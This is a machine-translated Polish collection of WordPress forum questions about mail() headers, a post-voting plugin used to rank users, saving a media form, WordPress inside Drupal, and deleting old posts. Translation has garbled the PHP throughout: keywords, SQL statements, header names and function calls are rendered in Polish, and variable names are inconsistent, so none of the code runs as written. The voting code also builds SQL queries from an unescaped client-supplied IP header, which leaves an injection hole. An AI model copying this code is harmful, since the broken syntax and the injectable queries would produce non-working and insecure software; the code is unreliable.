text: $temat = pobierz_tytuł(); $sender_name = get_bloginfo('name'); $blog_url = get_bloginfo('url'); $to = 'móje-mail@moja_domena.com'; $temat = 'temat'; $wiadomość = 'cześć'; $headers = 'Wersja MIME: 1.0' . "\r\n"; $headers .= 'Typ treści: text/html; charset=iso-8859-1' . "\r\n"; $headers .= 'Od: '.$nazwa_nadawcy.' <no-reply@'.$blog_url.'>' . "\r\n"; $headersssssssssssss = 'Od: webmaster@example.com' . "\r\n" . „Odpowiedz do: webmaster@example.com” . "\r\n" . 'Typ treści: text/html; charset=iso-8859-1' . "\r\n" . 'X-Mailer: PHP/' . wersja php(); Kiedy używam zmiennej `$headerssssssssssss` jako parametru w funkcji `mail()`, działa ona i wysyła e-mail. Ale kiedy używam `$headers` jako parametru, tak nie jest. Uwaga: próbowałem już zamiast tego użyć `wp_mail`, z tymi samymi wynikami. if( mail($to, $subject, $message, $headerssssssssssss) ) { echo '<script>alert("poczta wysłana sukcesem!");</script>'; } else { echo '<script>alert("poczta, której nie wysłano");</script>'; }           Wyjście;


title: używanie update_user_meta do rankingu użytkowników

text:
Używam wtyczki, która pozwala użytkownikom głosować na posty, chciałbym dodać każdy oddany głos do autorów user_meta, abym mógł uszeregować użytkowników w ten sam sposób, w jaki oceniam posty. Wtyczka zawiera kilka różnych funkcji, które aktualizują i zapisują post_meta. add_action( 'wp_ajax_nopriv_epicred_vote', 'epicred_vote' ); add_action( 'wp_ajax_epicred_vote', 'epicred_vote' ); funkcja epicred_vote () { global $ wpdb, $ current_user; get_currentuserinfo(); $wpdb->myo_ip = $wpdb->prefiks . „epired”; $opcja = (int)$_POST['opcja']; $bieżący = (int)$_POST['bieżący']; //jeśli jesteśmy zablokowani przez IP, ustaw zmienną fid na adres IP, w przeciwnym razie zaloguj identyfikator członka if(get_option('epicred_ip') == 'yes'){ $ipAddr = isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'] ) ? $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'] : $_SERVER['REMOTE_ADDR']; $fid = "'" . $ipAddr . "'"; }else{ $fid = $bieżący_użytkownik->ID; } $postid = (int)$_POST['poll']; $query = "SELECT epicred_option FROM $wpdb->myo_ip WHERE epicred_ip = $fid AND epicred_id = $postid"; $al = $wpdb->get_var($zapytanie); if($al == NULL){ $query = "WSTAW W $wpdb->myo_ip ( epicred_id , epicred_ip, epicred_option) WARTOŚCI ( $postid, $fid, $opcja)"; $wpdb->zapytanie($zapytanie); }else{ $query = "AKTUALIZUJ $wpdb->myo_ip SET epicred_option = $option GDZIE epicred_ip = $fid AND epicred_id = $postid"; $wpdb->zapytanie($zapytanie); } $vote = get_post_meta($postid,'epicredvote',true); if($opcja == 1){ if($al != 1){ if($al == -1){ $głos = $głos+2; }else{ $głos = $głos+1; } } } if($opcja == -1){ if($al != -1){ if($al == 1){ $głos = $głos-2; }else{ $głosowanie = $głosowanie-1; } } } update_post_meta($postid,'epicredvote',$vote); $odpowiedź['poll'] = $postid; $odpowiedź['głosowanie'] = $głosowanie; echo json_encode($odpowiedź); // WAŻNE: nie zapomnij "exit" exit; } I funkcja wpt_save_wpeddit() { globalne $wp, $wpdb, $post; // odczep tę funkcję, aby nie zapętlała się w nieskończoność remove_action('save_post', 'wpt_save_wpeddit'); // Czy użytkownik może edytować post lub stronę? if ( !current_user_can( 'edit_post', $post->ID )) return $post->ID; // OK, jesteśmy uwierzytelnieni: musimy znaleźć i zapisać dane. Upewnij się, że nie dodamy obrazu za każdym razem, // wpisu jest zapisywany jako wersja robocza - śledź więc zewnętrzny adres URL w polu niestandardowym. $vote = get_post_meta($post->ID,'epicredvote',true); $rank = get_post_meta($post->ID,'epicredrank',true); if($głos == ""){ $głos = 0; } if($ranking == ""){ $ranking = 0; } update_post_meta($post->ID, 'epicredvote', $vote ); update_post_meta($post->ID,'epicredrank',$rank); add_action('save_post', 'wpt_save_wpeddit'); } Wtedy moim celem byłoby użycie czegoś takiego w celu uszeregowania użytkowników:- EDYCJA:- pętla, której używam do wyprowadzania użytkowników/wyników. <?php $args = array( 'meta_key' => 'epicredvote', 'orderby' => 'meta_value', 'order' => 'DESC', 'number' => 10, ); add_action( 'pre_user_query', 'wpse_149342_pre_user_query' ); $user_query = nowe WP_User_Query( $args ); // Pętla użytkownika if ( ! empty( $user_query->results )) { foreach ( $user_query->results as $user ) { echo '
' . $user->display_name . '
'; echo '' . $user->epicredvote . ''; } } else { echo 'Nie znaleziono użytkowników.'; } ?> Czyli jeden głos na post = w zasadzie jeden głos na tego użytkownika. Możliwe, czy jestem tutaj całkowicie zboczony?


title: Jak zapisać media-form na karcie niestandardowej

text: Na mojej niestandardowej karcie skopiowałem media-form z media_upload_gallery_form, zmieniłem tylko identyfikator formularza i adres URL działania, aby odzwierciedlić nazwę mojej karty. Formularz wyświetlał się zgodnie z oczekiwaniami, ale po kliknięciu „Zapisz wszystkie zmiany” dane posta nie są zapisywane. Należy pamiętać, że w przeciwieństwie do pól niestandardowych, które dodajemy filtr do „attachment_field_save”, tym razem jest to cały formularz medialny. Można go zapisać na karcie Galeria lub na karcie Biblioteka, więc myślę, że musi istnieć sposób na zapisanie na mojej karcie niestandardowej?


title: WordPress w Drupalu

text: Mam stronę Drupala i muszę na niej zainstalować WordPressa. Jeśli zainstaluję WordPressa na „www.mysdrupalsite/wordpress/”, czy będzie działać jako standardowa instalacja WordPressa? DZIĘKUJĘ !


title: Twoje pomysły na mój pomysł „usuń lub przenieś wszystkie posty w określonej kategorii po upływie 3 dni”

text: Muszę wyczyścić swoją bazę danych i myślę, że sposobem na zrobienie tego i zachowanie tego jest usunięcie wszystkich postów, które mają 3 dni życia. Jedną dobrą rzeczą jest to, że te posty, które chcę usunąć, znajdują się w określonej kategorii. Jak więc mogę poprawnie wyczyścić moją bazę danych, usuwając lub przenosząc ich, a także ich posts_meta lub warunki lub cokolwiek? Chcę tylko mieć/pokazać posty z 3 dni lub wcześniej.